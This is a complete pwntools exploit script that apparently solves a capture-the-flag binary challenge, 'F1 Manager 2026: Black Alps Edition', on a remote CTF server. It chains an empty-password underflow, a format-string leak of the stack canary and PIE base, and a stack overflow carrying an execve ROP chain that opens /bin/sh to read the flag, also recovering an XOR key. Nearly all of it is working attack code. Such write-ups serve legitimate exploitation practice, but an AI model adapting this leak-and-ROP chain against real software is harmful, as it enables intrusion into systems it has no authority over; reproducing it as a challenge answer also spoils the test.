#!/usr/bin/env python3 """Pwntools exploit for F1 Manager 2026: Black Alps Edition. Remote: .venv/bin/python -I solve.py Local: .venv/bin/python -I solve.py --local --win The empty-password underflow enables message entry. A second-order format string leaks the canary and PIE base, then last_word's stack overflow runs a static execve ROP chain. The remote XOR key and encrypted flag are recovered automatically. """ from pwn import * import argparse import os import re import time context.arch = "amd64" ROOT = os.path.dirname(os.path.abspath(__file__)) FILES = os.path.join(ROOT, "files") KEY = open(os.path.join(FILES, "key_mercedes.bin"), "rb").read() REMOTE_KEY = os.path.join(FILES, "remote_mercedes.bin") def start(local=False, win=False): if local: binary = "./chall_win.bin" if win else "./chall.bin" return process([ "docker", "run", "--rm", "-i", "--platform", "linux/amd64", "-v", FILES + ":/work", "-w", "/work", "f1dbg:latest", binary, ]) return remote("ctf.blackalps.ch", 9999) def login(io): io.sendlineafter(b"team number", b"3") io.sendlineafter(b"1 or 2", b"1") io.sendlineafter(b"username : ", b"x") io.sendlineafter(b"password : ", b"") return io.recvuntil(b"5. Exit\n") def crypt_message(plain): assert len(plain) <= 255 n = len(plain) plain = bytearray(plain.ljust(255, b"A")) forbidden = b"\x00\x09\x0a\x0b\x0c\x0d\x20" for i in range(n, 255): if (plain[i] ^ KEY[i]) in forbidden: for c in b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789": if (c ^ KEY[i]) not in forbidden: plain[i] = c break msg = bytes(c ^ KEY[i] for i, c in enumerate(plain)) bad = [(i, c) for i, c in enumerate(msg) if c in forbidden] if bad: raise ValueError(f"bad encrypted message: {bad}") return msg def weather_value(text): if b"Heavy Rain" in text: return 2 if b"Light Rain" in text: return 1 return 0 def setup_car(io, phase, info): io.sendline(b"1" if phase == "quali" else b"2") io.sendlineafter(b"5. Confirm\n", b"1") if phase == "quali": tyre = (1, 4, 5)[info["quali"]] io.sendlineafter(b"qualification tyre compound", str(tyre).encode()) else: dry_tyres = {1: (1, 2), 2: (1, 3), 3: (2, 3)}[info["wear"]] tyres = [] for weather in (info["race1"], info["race2"]): tyres.append((1, 4, 5)[weather] if weather else None) if info["race1"] == info["race2"] == 0: tyres = dry_tyres else: tyres = [1 if tyre is None else tyre for tyre in tyres] io.sendlineafter(b"Stint 1 compound", str(tyres[0]).encode()) io.sendlineafter(b"Stint 2 compound", str(tyres[1]).encode()) io.sendlineafter(b"5. Confirm\n", b"2") io.sendlineafter(b"Enter new aero value", str(info["aero"]).encode()) io.sendlineafter(b"5. Confirm\n", b"3") io.sendlineafter(b"Enter new quantity", str(info["fuel" if phase == "race" else "quali_fuel"]).encode()) io.sendlineafter(b"5. Confirm\n", b"5") return io.recvuntil(b"5. Exit\n") def parse_weekend(data): def number(label): return int(re.search(rb"%s\s+: ~?(\d+)" % label, data).group(1)) straight = number(rb"Straight sections") fast = number(rb"Fast corners") slow = number(rb"Slow corners") race_text = re.search(rb"Race\s+: ([^\n]+)", data).group(1) if b"(all race)" in race_text: race1 = race2 = weather_value(race_text) else: phases = re.search(rb"(.*?) \(first half\) then (.*?) \(second half\)", race_text) race1, race2 = weather_value(phases.group(1)), weather_value(phases.group(2)) fuel_per_lap = number(rb"Fuel per lap") return { "wear": number(rb"Tyre wear factor"), "fuel": number(rb"Number of laps") * fuel_per_lap, "quali_fuel": fuel_per_lap + fuel_per_lap // 2 + 1, "aero": (straight * 10 + fast * 40 + slow * 80) // 100, "quali": weather_value(re.search(rb"Qualification\s+: ([^\n]+)", data).group(1)), "race1": race1, "race2": race2, } def build_rop(base, canary): ret = base + 0xA01A pop_rdi = base + 0x102E5 pop_rsi = base + 0x10D05 pop_rdx_rbx = base + 0xD779B read_addr = base + 0x8BF20 pop_rax = base + 0x8CBB7 syscall = base + 0x34534 scratch = base + 0x12C000 def call3(addr, a, b, c): return flat(pop_rdi, a, pop_rsi, b, pop_rdx_rbx, c, 0, addr) chain = flat( ret, call3(read_addr, 0, scratch, 0x200), pop_rdi, scratch, pop_rsi, scratch + 0x80, pop_rdx_rbx, 0, 0, pop_rax, 59, syscall, ) return flat({0: ret, 264: canary, 272: 0, 280: chain}) def build_stage(base, command): scratch = base + 0x12C000 return flat({ 0x00: b"/bin/sh\x00", 0x10: b"-c\x00", 0x20: command + b"\x00", 0x80: [scratch, scratch + 0x10, scratch + 0x20, 0], }, filler=b"\x00") def attempt(args): global KEY if not args.local and os.path.exists(REMOTE_KEY): KEY = open(REMOTE_KEY, "rb").read() log.info("using recovered remote key") io = start(args.local, args.win) intro = login(io) if args.verbose: print(intro.decode("latin1")) info = parse_weekend(intro) log.info(f"weekend setup = {info}") setup_car(io, "quali", info) io.sendline(b"3") quali = io.recvuntil(b"5. Exit\n") if args.verbose: print(quali.decode("latin1")) setup_car(io, "race", info) io.sendline(b"4") io.recvuntil(b"symmetric key!)\n") plain = b"LEAK:%13$p.%15$p:END" msg = crypt_message(plain) assert not any(c in b"\x00\x09\x0a\x0b\x0c\x0d\x20" for c in msg) io.sendline(b"1-" + msg) benign = crypt_message(b"OK") for lap in range(2, 11): line = str(lap).encode() + b"-" + benign # No trailing newline on the tenth message: otherwise last_word() # consumes it and returns before the overflow is sent. io.send(line) if lap == 10 else io.sendline(line) out = io.recvuntil(b"Do you have any additional comments?", timeout=10) match = re.search(rb"LEAK:(0x[0-9a-f]+)\.(0x[0-9a-f]+):END", out) if not match: if not args.local and b"We are back!\n\n" in out: decrypted = out.split(b"We are back!\n\n", 1)[1][:255] if len(decrypted) == 255: recovered = bytes(msg[i] ^ decrypted[i] for i in range(255)) + KEY[255:] open(REMOTE_KEY, "wb").write(recovered) log.success(f"remote key recovered and saved to {REMOTE_KEY}") log.info(f"key prefix = {recovered[:16].hex()}") raise RuntimeError("leak not found") log.info(f"raw leak = {match.group(0)!r}") canary = int(match.group(1), 16) base = int(match.group(2), 16) - 0xAD11 log.info(f"canary = {canary:#x}") log.info(f"PIE base = {base:#x}") payload = build_rop(base, canary) log.info(f"sending {len(payload)}-byte overflow") io.send(payload) time.sleep(0.3) command = b"cat key_mclaren.bin" if args.local else b"cat flag" io.send(build_stage(base, command)) result = io.recvall(timeout=5) flags = re.findall(rb"BA26\{[^}]+\}", result) if not args.local and len(result) >= 2816: encrypted_flag = result[-2816:] open(os.path.join(FILES, "remote_flag.bin"), "wb").write(encrypted_flag) for offset in range(0, 2816, 256): block = encrypted_flag[offset:offset + 256] decrypted = bytes(c ^ KEY[i] for i, c in enumerate(block)) flags.extend(re.findall(rb"BA26\{[^}]+\}", decrypted)) if flags: for flag in flags: print(flag.decode()) return True if args.local: print(result.decode("latin1")) return True log.info(f"shell returned {len(result)} bytes") raise RuntimeError("no flag in shell output") def main(): parser = argparse.ArgumentParser(description="Exploit for F1 Manager 2026: Black Alps Edition") parser.add_argument("--local", action="store_true", help="run the original binary in Docker") parser.add_argument("--win", action="store_true", help="with --local, use the win-patched binary") parser.add_argument("--attempts", type=int, default=12, help="maximum race attempts (default: 12)") parser.add_argument("--verbose", action="store_true", help="print race details") args = parser.parse_args() for number in range(1, args.attempts + 1): log.info(f"attempt {number}/{args.attempts}") try: if attempt(args): return except (EOFError, RuntimeError, ValueError) as error: log.warning(str(error)) log.failure(f"exploit failed after {args.attempts} attempts") raise SystemExit(1) if __name__ == "__main__": main()